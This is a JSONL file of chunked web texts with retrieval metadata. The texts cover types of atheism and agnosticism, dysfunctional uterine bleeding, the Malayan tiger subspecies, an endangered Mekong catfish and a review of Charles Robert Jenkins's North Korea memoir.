exist ( given some", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5676182958087668, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.349097"} {"text": "similarly, i would call a person an \" atheist \" even if he is not willing to say that he believes in god ' s nonexistence. he may just say that the available evidence favors the proposition that god does not exist ( given some particular definition of \" god \" ). i would say that ' s enough to classify the person as an \" atheist, \" at least relative to the given definition of \" god. \" we could draw a distinction here between \" weak theists \" and \" strong theists, \" and between \" weak atheists \" and \" strong atheists, \" depending on how strongly they proclaim their view. but in contrast to these positions, the agnostic does not claim that the available evidence favors either side, even to the slightest degree. let us now look at the concepts of atheism and agnosticism more closely to see whether any further distinctions may be drawn within them. among atheists, i would distinguish four different types, as follows : disproof atheists, who claim that there is good objective evidence for god ' s nonexistence, and if there is any good objective evidence at all for god ' s existence, it is significantly outweighed by the evidence for god ' s nonexistence. methodological atheists, who claim that there is no good objective evidence either for god ' s existence or for god ' s nonexistence, but there is a certain methodological principle which places the burden of proof upon theists, and since they fail to meet that principle, the only rational position to take is that of atheism. ( some methodological atheists formulate the principle by saying that the burden of proof is always on any person making an existence claim, since, from a logical point of view, existence claims are only capable of proof, not disproof. no one has ever proven the nonexistence of santa claus, or elves, or unicorns, or anything else, simply because the very logic of an unrestricted existential proposition prohibits its disproof. it is impossible to go all over the universe and show that, for example, there are no elves anywhere. for this reason, rational methodology calls for us to deny the existence of all those things which have never been shown to exist. that is why we all regard it rational to deny the existence of santa claus, elves, unicorns, etc. and since god is in that same category, having never been shown to exist, it follows that rational", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5082763176014532, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.350153"} {"text": "have never been shown to exist. that is why we all regard it rational to deny the existence of santa claus, elves, unicorns, etc. and since god is in that same category, having never been shown to exist, it follows that rational methodology calls for us to deny the existence of god. ) mystical atheists, who claim that there is no rational support for theism or atheism, but who believe in god ' s nonexistence on the basis of a private, subjective, mystical experience. faith atheists, who accept atheism, not on the basis of any grounds or experiences, but simply on the basis of \" faith, \" regarding it to be a \" properly basic belief. \" they say that one could be rational in accepting a noetic system that has atheism as its foundational presupposition, since there is no good objective evidence for god ' s existence. it is an interesting question which, if any, of the positions represented here is true or correct or the best one to hold, but i take that to be outside the scope of the present essay. i turn now to an examination of types of agnosticism. among the types which may be distinguished are the following : unknowability agnostics, who say that not only is there no evidence relevant to the issue of god ' s existence but that there could be none. they may view the issue as so abstract and removed from human experience that it is impossible that we should have any evidence regarding it, one way or the other, so the matter is essentially unknowable. ( note that people with this outlook could easily move over to the position of noncognitivism. they are making the claim that the matter of god ' s existence is essentially unknowable and that there could not possibly be evidence regarding it, one way or the other. if they were to conclude that the sentence \" god exists \" therefore does not express any proposition at all, then they would be noncognitivists. but if, instead, they allow that there is a proposition expressed but it is simply one that we cannot ever legitimately claim to be true or false, then they are to be classified as \" unknowability agnostics. \" zero - data agnostics, who allow that it is possible to know whether or not god exists, but no one does in fact know it for the simple reason that there is zero data regarding the matter. although no one at present has any relevant data", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.537811207356581, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.351184"} {"text": "- data agnostics, who allow that it is possible to know whether or not god exists, but no one does in fact know it for the simple reason that there is zero data regarding the matter. although no one at present has any relevant data, it is possible that some may come along in the future. data - vs. - data agnostics, who concede that there is evidence relevant to the issue of god ' s existence, but who have judged it to be perfectly balanced. that is, the evidence presently available in support of god ' s existence is exactly matched by evidence presently available against god ' s existence. they could be called \" knife - edge agnostics, \" since they view the positive evidence for god ' s existence as so perfectly balanced by negative evidence that it is as if they were balanced on the edge of a knife without falling to one side or the other. data - vs. - principle agnostics, who are another type of \" knife - edge agnostics. \" they agree with the methodological atheists, described above, who claim that there is a certain methodological principle that places the burden of proof upon the theists. the question is raised as to how much evidence is needed for the existence of something in order for it to satisfy the burden of proof required by the given principle. presumably there is some minimum amount such that any lesser amount would still call for us to deny the existence of the thing. take, for example, bigfoot or the loch ness monster. it may be argued that there is some slight evidence in favor of the existence of such entities but it is less than the amount needed to satisfy the burden - of - proof requirement. thus, the rational stance to take with respect to them, at least at the present time, is that of denying their existence. if, in the future, additional evidence is found favoring the existence of the entity, and that evidence is of sufficient quantity to satisfy the burden - of - proof requirement, then at that time the rational stance to take would be to believe that the entity exists. suppose, now, that additional evidence is found for, say, the existence of bigfoot. but the evidence is not quite sufficient to satisfy the burden - of - proof requirement. it is almost enough. in fact, it is as close to satisfying the requirement without actually satisfying it as it is possible to get. one might say, in a case like this, that the evidence for the existence of bigfoot is balanced on a knife - edge.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5668625888584352, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.352278"} {"text": ". in fact, it is as close to satisfying the requirement without actually satisfying it as it is possible to get. one might say, in a case like this, that the evidence for the existence of bigfoot is balanced on a knife - edge. it is not enough to warrant belief, but it is also too much evidence to warrant denial of bigfoot ' s existence. in such a case, it might be argued, the rational stance to take for anyone aware of the evidence is that of withholding judgment on the matter. well, this is the situation with data - vs. - principle agnostics. they are not claiming that there are two opposing bodies of evidence, one favoring god ' s existence and the other favoring god ' s nonexistence. rather, there is only a body of evidence that favors god ' s existence. however, the evidence, at least at the present time, is not sufficient to satisfy the burden - of - proof requirement imposed upon theism, though it is right at the threshold of satisfying it. it is not yet enough to warrant belief that god exists, but it is also too much to warrant denying god ' s existence. hence, the rational stance for anyone to take regarding god ' s existence is that of agnosticism. ( thus, both types of \" knife - edge agnostic \" claim that there is definite evidence in favor of god ' s existence, but that it is exactly balanced by something else. one type, data - vs. - data agnostics, say that the something else is definite evidence in favor of god ' s nonexistence. the other type, data - vs. - principle agnostics, say that the something else is a principle of rational methodology which places a certain burden of proof upon the theist. ) it must be remembered that all of these positions are relative to a given definition of \" god. \" someone may be one type of agnostic relative to one definition but a different type of agnostic ( or a theist or an atheist or a noncognitivist ) relative to another definition. i leave the reader with these questions : are there definitions of \" god \" with regard to which you are an atheist or agnostic on the matter of god ' s existence? if so, can you locate yourself on the above lists with regard to each of those definitions? and are there definitions of \" god \" with regard to which you are a theist and perhaps even ones with regard to which you are a noncognitiv", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5478492121729247, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.354197"} {"text": "dysfunctional uterine bleeding what is it? dysfunctional uterine bleeding, also called anovulatory bleeding, is any bleeding from the vagina that varies from a woman ' s normal menstrual cycle. the normal cycle is triggered by signals from hormones. dysfunctional uterine bleeding occurs when the cycle ' s hormonal signals get thrown off. this can include alternating periods that are heavy and light, spotting or unpredictable shorter and longer cycles. regular monthly menstrual cycles flush out the endometrial lining, which is the blood - enriched layer of tissue that grows inside the uterus every month in anticipation of a possible pregnancy. if ovulation does not occur, periods can be delayed, which allows the lining to grow thicker. for this reason, delayed periods are often heavy ones. lighter periods, or spotting between periods, may represent an endometrial lining that is unstable and leaking, either because hormonal levels don ' t adequately support it or because the lining may be too thick. other factors that can change bleeding patterns include : - hormonal abnormalities ( thyroid problems, elevated prolactin hormone ) - excessive exercise or weight loss - stress or illness - the start of menstruation in adolescence. regular ovulatory cycles may not develop for a few months or even years. - the end of menstruation. dysfunctional uterine bleeding is common in the months to years before menopause. irregular bleeding can come at different times from month to month and last for different lengths of time. the amount of blood flow may vary from light to extremely heavy with large clots. in some people, the bleeding may be associated with uterine cramps. your doctor will ask about your medical history and about symptoms that might suggest a cause for the irregular bleeding or other hormonal abnormalities. the doctor may do various tests to check for these causes of abnormal bleeding patterns : - pregnancy - - urine or blood tests - thyroid hormone and prolactin hormone abnormalities - - blood tests - menopause ( especially in women in their 40s or 50s ) - - blood tests to determine if estrogen levels are falling, which suggests the beginning stages of menopause - abnormalities of the uterus or ovaries - - a transvaginal ultrasound, in which a small, rodlike probe is inserted into the vagina to take measurements of the endometrial lining - possible cancer in women over 35 ; or those who have had breast, ovarian or colon", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47395957212743517, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.359705"} {"text": "a transvaginal ultrasound, in which a small, rodlike probe is inserted into the vagina to take measurements of the endometrial lining - possible cancer in women over 35 ; or those who have had breast, ovarian or colon cancer ; or who have a strong family history of these cancers ; or who have not had a period in six months - - an endometrial biopsy, done in the office, in which the doctor uses a speculum to look at the cervix, then inserts a thin, straw - like tube through the cervix into the uterus, and brushes it along the endometrial layer to collect a tissue sample if you have heavy bleeding, your doctor will check iron levels in your blood to see if you are anemic. most women have a period that is irregular in timing or in the amount of bleeding at some point during their menstrual years, most often because of a cycle without a normal ovulation. normal periods may resume as early as the next period or might take a few months to become regular again. some women become regular only with the help of treatments, such as birth control pills. if irregular periods signal the beginning of menopause, the last period may not occur for a few months or a few years. there is no way to prevent dysfunctional uterine bleeding. see a doctor promptly if you continue to have irregular periods. early diagnosis and treatment can help to make your periods regular again, which is important for your overall health. if the cause of dysfunctional uterine bleeding is another medical condition, treating that condition should restore normal cycles. otherwise, treatment is based on the cause, the amount of bleeding and the woman ' s reproductive goals ( whether she wants to have children or not ). birth control pills, which combine the hormones estrogen and progesterone, can regulate and decrease the amount of bleeding. your doctor may recommend that you take monthly pills containing progesterone only. women seeking to become pregnant may be treated with medications to help their ovaries ovulate more regularly. heavy bleeding can be stopped with higher doses of hormone pills, either estrogen or progesterone. when bleeding is more severe, hospitalization may be necessary. if hormonal therapy does not work, a surgical d and c ( dilation and curettage ) can stop severe cases of bleeding. during this procedure, the tissue lining of the uterus is removed, allowing a healthier lining to", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.44967745576129936, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.360791"} {"text": ". if hormonal therapy does not work, a surgical d and c ( dilation and curettage ) can stop severe cases of bleeding. during this procedure, the tissue lining of the uterus is removed, allowing a healthier lining to take its place. if an endometrial biopsy reveals endometrial hyperplasia, which is a thicker and abnormal looking lining, closer monitoring with treatment may be required, especially in older women and postmenopausal women on hormone replacement therapy. endometrial hyperplasia increases a woman ' s risk of developing endometrial cancer. when to call a professional call your doctor right away for an evaluation if you are having fevers, abdominal pain or heavy bleeding with dizziness or fainting. if your periods are irregular over a few months, make an appointment to see your doctor. be prepared to tell your doctor the dates of your last few periods. there are many effective treatments to help regulate periods and control irregular bleeding. if you have irregular periods and are having difficulty becoming pregnant, you can take drugs that stimulate ovulation. having irregular periods, however, does not mean you are infertile. you still need to use protection against pregnancy when you are sexually active. national women ' s health information center ( nwhic ) 8550 arlington blvd. fairfax, va 22031", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4453002617502421, "token_count": 277, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.361614"} {"text": "iucn tiger specialist peter jackson earns his stripes 07 june 2005 | news story iucn - the world conservation union, gland, switzerland ( 07. 06. 05 ) - researchers plan to name the recently identified malayan tiger, a new subspecies, panthera tigris jacksoni to honour the career of tiger conservationist peter jackson, former chair and still active member of the species survival commission \u2019 s cat specialist group. as with many threatened species, tigers have been divided into subspecies \u2013 natural geographically separate populations \u2013 for conservation as well as recognition purposes. the discovery of this new subspecies therefore has major conservation implications and is highlighted in the most recent edition of cat news, the ssc cat specialist group newsletter. tigers historically inhabited much of asia and may have numbered as many as 100, 000 animals as recently as a century ago. unfortunately, they have declined dramatically since then. today \u2019 s remaining population is estimated to be only 5, 000 - 7, 000 individuals and three of the traditional eight subspecies, the javan, bali and caspian tigers, became extinct in the mid to late 20th century. this collapse prompted peter \u2019 s interest in tigers as far back as the 1950s, when as reuters foreign correspondent in india, he became fascinated by india \u2019 s wonderful wildlife. however, it was the iucn general assembly in delhi in 1969, when the crash in india \u2019 s tiger population was a dominant issue, that marked a watershed. it was the start of his close involvement in tiger conservation which would lead to his establishment as one of the key players in this field. working for wwf international in the 1970s, peter was closely involved in operation tiger to fund conservation action and he worked in tandem with the indian government \u2019 s programme to establish a network of tiger reserves. malayan tiger ( p. t. jacksoni ) - photo by uf - malaysia tiger projectlater on, he worked independently to promote tiger conservation and in 1983, was nominated chair of the ssc cat specialist group, a post he held for 17 years. in his own words, this became his \u201c life \u2019 s mission \u201d and naming this newly - identified subspecies after him is a fitting tribute to peter \u2019 s drive and commitment to tiger, indeed all wild cat conservation. the correct identification of a subspecies is critically important for conservation purposes. this discovery, at the end of last year, is the culmination of a 20 - year long study to characterize living tiger populations using a molecular genetic approach and has been published in the online journal public library of science plos - biology. the results", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39377732684147176, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.367312"} {"text": ", at the end of last year, is the culmination of a 20 - year long study to characterize living tiger populations using a molecular genetic approach and has been published in the online journal public library of science plos - biology. the results of the study showed that there was strong genetic evidence for four of the five remaining subspecies ( amur, indochinese, sumatran and bengal ) whilst the sampling of the south china tiger was very sparse and requires further sampling. unexpectedly, the indochinese tiger showed a distinct separation into two distinct groups as different as the other subspecies are from each other. one group is confined to the malayan peninsula and the other across the rest of the traditional indochinese tiger range ( see distribution map ). the newly identified subspecies has the common name malayan tiger, to emphasize its geographical range, and the scientific name panthera tigris jacksoni, in honour of peter jackson \u2019 s career and dedication to tiger conservation. this discovery will have important consequences for tiger conservation and management. specifically, it would suggest that the new species be recognized and managed as a high priority in malaysia. cat news article ( 356kb ) / / plos report / / distribution map ( 281kb ) for further information contact : andrew mcmullin, iucn species programme communications officer tel : + 41 ( 0 ) 22 999 0153 ; email : firstname. lastname @ example. org", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4825571870084103, "token_count": 287, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.367988"} {"text": "| scientific name : | | pangasius sanitwongsei | | species authority : | | smith, 1931 | pangasius beani smith, 1931 pangasius sanitwangsei smith, 1931 | red list category & criteria : | | critically endangered a2acd ver 3. 1 | | assessor / s : | | jenkins, a., kullander, f. f. & tan, h. h. | | reviewer / s : | | collen, b., darwall, w., ram, m. & smith, k. ( srli freshwater fish evaluation workshop ) | there are ongoing threats to p. sanitwongsei, including harvesting, and alteration of the river for dams and increased shipping. assessed as critically endangered due to an estimated population decline of more than 99 % over three generations, even using the most optimistic values for generation time and population size ( assuming a constant exponential rate ). this rate has been inferred for the whole population given that the same threats exist throughout the range of p. sanitwongsei. | range description : | | the species is known from the chao phraya and mekong basins in cambodia, china, lao pdr, thailand and viet nam. | native : cambodia ; china ( yunnan ) ; lao people ' s democratic republic ; thailand ; viet nam | range map : | | click here to open the map viewer and explore range. | two sub - populations may be separated by the khone falls, over which p. sanitwongsei does not appear to migrate ( poulsen 2001 ). local fishermen report declines in sightings / catch of p. sanitwongsei ; one interviewee said that p. sanitwongsei had disappeared from his catch, while another ( ex - chair of the giant catfish fishermens club ) said that ' fifteen years ago 100 p. sanitwongsei were caught per year \u2026 five years ago about 5 - 20 fish were caught per year \u2026 recently the catch has declined further and the fish has disappeared ' ( meynell 2003 ). generation time is not known, but that of the closely related pangasianodon gigas is estimated at 10 - 15 years. | habitat and ecology : | | p. sanitwongsei is a benthopelagic, potamodromous species which inhabits large rivers surrounded by rainforest. p. sanitwongsei uses deep pools as refuges in the dry season. | overfish", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4075569090857532, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.374030"} {"text": "| p. sanitwongsei is a benthopelagic, potamodromous species which inhabits large rivers surrounded by rainforest. p. sanitwongsei uses deep pools as refuges in the dry season. | overfishing for food and to a lesser extent the aquarium trade, has depleted the natural population of p. sanitwongsei ( wang 1998 ). this species is likely to have been affected by the destruction of rapids and reefs as part of the upper mekong navigation improvement project, and by the construction of dams. projects such as these affect the natural flood / drought cycles throughout the river, and therefore the migratory behaviour of fish such as p. sanitwongsei. | conservation actions : | | in 1989 p. sanitwongsei was listed as a class ii protected species by the provincial government of yunnan, china. | | citation : | | jenkins, a., kullander, f. f. & tan, h. h. 2009. pangasius sanitwongsei. in : iucn 2012. iucn red list of threatened species. version 2012. 2. < www. iucnredlist. org >. downloaded on 25 may 2013. | | feedback : | | if you see any errors or have any questions or suggestions on what is shown on this page, please fill in the feedback form so that we can correct or extend the information provided |", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.42074288933204484, "token_count": 289, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.374669"} {"text": "if you would like to support the journal you can do so here with your contribution of $ 25, $ 50 or $ 100 by clicking above. peace philosophy centre dialogue and learning for creating a peaceful, sustainable world. the asia - pacific journal is available free to all. but your contribution allows us to improve and expand our service in the wake of 3. 11. donate - $ 25, $ 50, $ 100 click a cover to order. click a cover to order. click a cover to order. click a cover to order. click a cover to order. click a cover to order. north korea, japan and the abduction narrative of charles robert jenkins in the 1960s, a subculture of americans became obsessed with alien abductions. their ur - narrative revolved around the experience of betty and barney hill, a sober, middle - aged, interracial couple who told of being taken from their car one night in 1961 and subjected to medical investigation by extraterrestrials with small bodies and large foreheads. they were not the type to fabulize simply to draw attention to themselves, so their story attracted interest beyond the usual ufo fans. gradually others came forward with similar tales. these abduction narratives paralleled the central fears of the cold war era. like the soviets, the aliens were unintelligible. they were capable of other - worldly scientific advances just as sputnik had dazzled and frightened americans. they likely harbored designs for taking over the world. and they seemed to hover just beyond our line of sight waiting for an opportunity to put us to some unknown use. although a small cadre of americans believed deeply in these ufo abductions, the majority saw no need to displace their dread of communists onto visitors from a more distant world. for roughly 20 years, the case of north korean abductions seemed to exercise a similar hold on the japanese imagination. the stories of missing japanese rumored to have been abducted by north korean agents belonged to the margins of political and media discourse. no mainstream media outlet would touch the story. in 1996, a north korean defector described native japanese helping to train spies at a north korean facility, and the abduction narratives gained greater credibility. still, after pyongyang launched its taepodong intermediate - stage rocket over japan in 1998, most japanese simply feared north korea \u2019 s conventional and potentially nuclear military threat. the abduction stories belonged to the past. they were not confirmed. people disappeared for various reasons : they were killed, they decamped for overseas, they assumed", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49808413247188055, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.406577"} {"text": "in 1998, most japanese simply feared north korea \u2019 s conventional and potentially nuclear military threat. the abduction stories belonged to the past. they were not confirmed. people disappeared for various reasons : they were killed, they decamped for overseas, they assumed new identities and took up residence far from their homes. the japanese government was portraying north korea as a clear and present danger, and this conventional cold war framework held sway over the more outlandish version of north korean perfidy. but in 2002, the abduction narrative in japan swerved suddenly from the margins to the very center of the policy debate. japanese prime minister koizumi junichiro visited pyongyang on september 17, 2002 in an attempt to break the logjam of non - recognition in japan - north korea relations. in the course of that visit, koizumi extracted a confession and an apology from north korean leader kim jong il. north korea had abducted japanese citizens. it was as if a ufo had landed in downtown tokyo and the earth stood still for the japanese. a narrative nurtured by a relatively small group of japanese, particularly the families of the disappeared, had turned out to be true. koizumi and kim jong il but that was only the beginning of the story. it turned out that there were several true narratives. and the story of charles robert jenkins and his family was one of them. the narrative of charles robert jenkins in the early morning of january 5, 1965, worried that his unit was about to leave south korea to fight in the vietnam war, charles robert jenkins made what he later regretted as the worst decision of his life. the 25 - year - old deserted from his unit and crossed the demilitarized zone into north korea. he would live for nearly 40 years in north korea. it was, as he details in his book the reluctant communist : my desertion, court - martial, and forty - year imprisonment in north korea, a life of privileged misery. when it appeared in japan in 2005, jenkins \u2019 s book was an instant sensation. the abduction story dominated the news in japan after koizumi \u2019 s 2002 visit, which opened the way for five of the abductees to return the following month, including jenkins \u2019 s wife soga hitomi. in 2004, koizumi paid another visit to pyongyang and brought back five children of the abductees. jenkins and his two children followed shortly thereafter, through a third country. the japanese media and the ruling liberal democratic party fanned a frenzy of demands", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45029176446930846, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.408570"} {"text": "resignation, and finally some respite in married life. there is also redemption, as jenkins and his family manage to negotiate their way out of the country and he atones for his desertion. but jenkins is neither a dramatic personage nor a keen observer. he confesses a fondness for drink. this understandable weakness helped him survive, but may also have diminished his capacity or his desire to pierce the mysteries of north korean life. if jenkins had dictated his story to a north korea expert, rather than to journalist jim frederick, his debriefing might have been more illuminating. hard knocks, north korean - style jenkins was accustomed to austerity. he came from a poor north carolina family where \u201c when we had enough spare butter to spread right onto our bread, that was a good day. \u201d he joined the army and came to enjoy the drills and duties. if the rumor of his unit shipping out to vietnam had not touched his deepest fears, he would have likely become career military. so, on reaching north korea, he was not the type to grouse about a little hardship. but he faced a good deal more than standard hardship. jenkins was thrown in with three other deserters, whom he describes as \u201c pretty much total fuck - ups as soldiers. \u201d their living conditions were typical of rural korean life in the 1960s : outside toilet, no running water. still it was a life of privilege. they didn \u2019 t have to work very hard. and they usually had enough to eat. they were, however, subjected to daily propaganda sessions. \u201c we studied about ten or eleven hours a day, \u201d he writes. \u201c if we didn \u2019 t memorize enough or were not able to recite portions of our studies on demand, we were forced to study sixteen hours a day on sunday, which was usually our only day of rest. \u201d this crash course in ideology enabled the four to catch up to average north koreans, who had been studying the precepts of north korean communism, more precisely kim il - sungism, all their lives. there are occasional descents into greater hardship \u2013 for instance, when a north korean doctor removes jenkins \u2019 u. s. army tattoo without anesthesia \u2013 but for the most part the story is of drudgery and boredom and workaday austerity. jenkins sees north korea as \u201c little more than a giant prison. \u201d after several ill - fated attempts to escape, he and his compatriots eventually resign themselves to getting by. they teach english, work on a military dictionary", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46643198787728146, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.412998"} {"text": "austerity. jenkins sees north korea as \u201c little more than a giant prison. \u201d after several ill - fated attempts to escape, he and his compatriots eventually resign themselves to getting by. they teach english, work on a military dictionary, translate lines from english - language movies, even star in north korean movies when western actors are needed. ultimately they become citizens. they are rewarded for their good behavior not by reduced sentences but with conjugal visits. each is matched with another foreigner. jenkins, 40 years old in 1980, is introduced to the 20 - year - old soga hitomi, and, after some initial wariness, they are married and have two children. jenkins and soga jenkins was entitled to certain privileges, but that didn \u2019 t include the ability to travel around the country or meet a wide variety of people. he presents a narrow slice of north korea life. still, there are some intriguing asides to the main narrative. jenkins tells of an ethiopian who slips him western movies on videocassettes. he describes various market activities, such as his sales of honey to augment his family \u2019 s meager rations. he chronicles the rise of corruption with the decline of the economy. as the food crisis sets in during the mid - 1990s, jenkins and his family must take shifts to guard their corn plot to prevent pilfering from thieves. one day, a soldier comes to the door and asks for food. \u201c that shocked us. it was one thing for the army to steal. but for a soldier to beg? that is something that never would have happened in decades past, when the country could at least feed itself. \u201d the school where they send their two children demands that all students bring supplies : a kilo of lead, rabbit skins. and then, of course, there is the omnipresent nationalism that shapes north korea more deeply than communism ever did. jenkins and the soldiers are paired off with foreigners, for their blood must not be allowed to taint the \u201c pure \u201d korean population. similar sentiments can be found among some in south korea, but the version of ethnonationalism that persists in the north embodies a much more unselfconscious racism. jenkins also provides the occasional glimpse of the human side of north koreans. there are the cadres whom he more - or - less befriends and who look the other way when, one drunken night, he calls kim jong il a dog. as jenkins struggles with the choice to leave the country", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49918528534775375, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.414299"} {"text": "of north koreans. there are the cadres whom he more - or - less befriends and who look the other way when, one drunken night, he calls kim jong il a dog. as jenkins struggles with the choice to leave the country to visit his wife in a third country \u2013 he worries that he \u2019 ll end up in a u. s. brig if he gets out or in a north korean prison if he doesn \u2019 t \u2013 his north korean minder leans over to say quietly to him : \u201c if you don \u2019 t come back, there is nothing we can do. \u201d a few intriguing details aside, jenkins \u2019 narrative provides no unexpected revelations about north korea. his story corresponds to what we more or less know about the country. there is only one part of the story that is controversial. jenkins alleges that one of his american compatriots, joseph dresnok, beat him 30 times over a 7 - year period. in the first one, and presumably some that followed, a north korean cadre bound jenkins \u2019 s hands behind his back and instructed dresnok to administer the beating. for reasons that jenkins still can \u2019 t fully fathom, dresnok complied willingly. in the documentary crossing the line, which features interviews with dresnok in pyongyang, the last american deserter left in north korea denies the charges. joseph dresnok walks past a statue of kim il sung in pyongyang abduction narrative revised the narrative of alien abduction that betty and barney hill unleashed on america sent ufologists scrambling to find examples of similar incidents in history. after all, it just wasn \u2019 t credible that aliens had appeared in the past but had only decided to escort humans into their ships to conduct medical examinations during the kennedy years. the abduction aficionados found what they were looking for : earlier cases in brazil, in france, elsewhere in the united states. as the cases multiplied, different camps also emerged, for now there were competing narratives to reconcile \u2013 what did the aliens look like, where did they come from, were they having sex with their human captives? also, too, there were a range of different explanations for the phenomenon, from the literal to the psychological to the mythic. in a way, ufology resembled kremlinology : labored interpretations and heated disagreements based on scant evidence acquired at considerable remove. by contrast, after koizumi \u2019 s visits and the publication of the narrative of charles robert jenkins, the truth of north korean abduction", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48497898692359465, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.415686"} {"text": "benefits of trade and aid to the country. and yet, outside of japan, the abductions have not achieved anywhere as much attention. south korea, which lists a far greater number of its citizens abducted by the north, has tiptoed around the issue, though associations of victim families are trying to emulate their japanese counterparts in forcing a shift in the new lee myung bak government. meanwhile, in the united states, conservatives are aghast that the bush administration \u2013 and presidential candidate barack obama \u2013 have failed to link the removal of north korea from the state sponsors of terrorism list to the case of kim dong - sik. the north korean government allegedly abducted kim in 2000. the case remains so far below the media and political radar in the united states to be almost non - existent ( the same can be said of the alleged abduction of another american citizen, actress susan richardson, which the media really does treat like an ufo abduction story ). having been rescued by the japanese, jenkins is appalled by this discrepancy : \u201c why is japan the only country that is \u2013 rightfully \u2013 making the return of abducted citizens or citizens who are being held against their will in north korea a large part of their diplomatic dealings with that country? it is a tragedy, in my opinion, that more countries don \u2019 t investigate further or take the stand that japan has, because this should not just be japan \u2019 s issue to fight alone. \u201d most painful of all for the japanese government has been the u. s. indifference to the abduction issue in the late june decision to remove north korea from the state sponsors of terrorism list as part of the six party talks. u. s. negotiators in these talks pledged their support for japan \u2019 s position even as they refused to allow the issue to block resolution of the nuclear issue. south korea has focused on economic cooperation with north korea. the united states and russia are focused on denuclearization. only tokyo has made its relationship with pyongyang contingent on a resolution of the abduction issue. representatives of the abductee families blasted the fukuda government for its failure to persuade the united states to link the abduction issue to removal of north korea from the terrorism list ; opposition leader ozawa ichiro echoed their sentiments but laid the blame directly on washington. transformation of japanese foreign policy the biggest mystery, however, is how the abduction issue will figure in the transformation of japanese foreign policy. like their u. s. neoconservative counterparts,, japanese neonationalists have", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4759556787999277, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.425030"} {"text": "directly on washington. transformation of japanese foreign policy the biggest mystery, however, is how the abduction issue will figure in the transformation of japanese foreign policy. like their u. s. neoconservative counterparts,, japanese neonationalists have long been angling to shift the country \u2019 s international orientation. the abduction issue is their september 11. it has been an opportunity to assert victimhood, to dust off plans to drive up defense spending, and embark on a new brand of militarism that ( at least for the time being ) functions within the u. s. - japanese alliance. koizumi, for all his post - modern flourishes, was committed to this project, his successor abe even more so. the abduction has not only frozen japanese - north korean relations. it has frozen the very image of north korea for japan. the country that abducted japanese citizens and those of other countries was a great deal more powerful than it is today, its marginal nuclear capacity notwithstanding. north korea in the 1970s was still competing head - to - head against south korea. it took a shot at the leadership of the non - aligned movement. it sent military trainers, development money, and propaganda to various third world countries. its abductions were not so much acts of desperation as part of an asymmetrical campaign to best south korea and establish a leading role in international affairs. that north korea was indeed a mysterious and powerful force that sent emissaries to japan to extract its citizens for its own purposes. but that north korea no longer exists. jenkins, in his occasional asides, tells the story of this decline. \u201c the troops are starving along with the rest of the people, \u201d he writes of the difficult period of the 1990s. \u201c the enlisted men are little more than kids in rags, and the officers are totally corrupt. and no one knows the first thing about military subjects anymore. \u201d in short, north korea in recent decades has become but a shadow of its former threat. for the 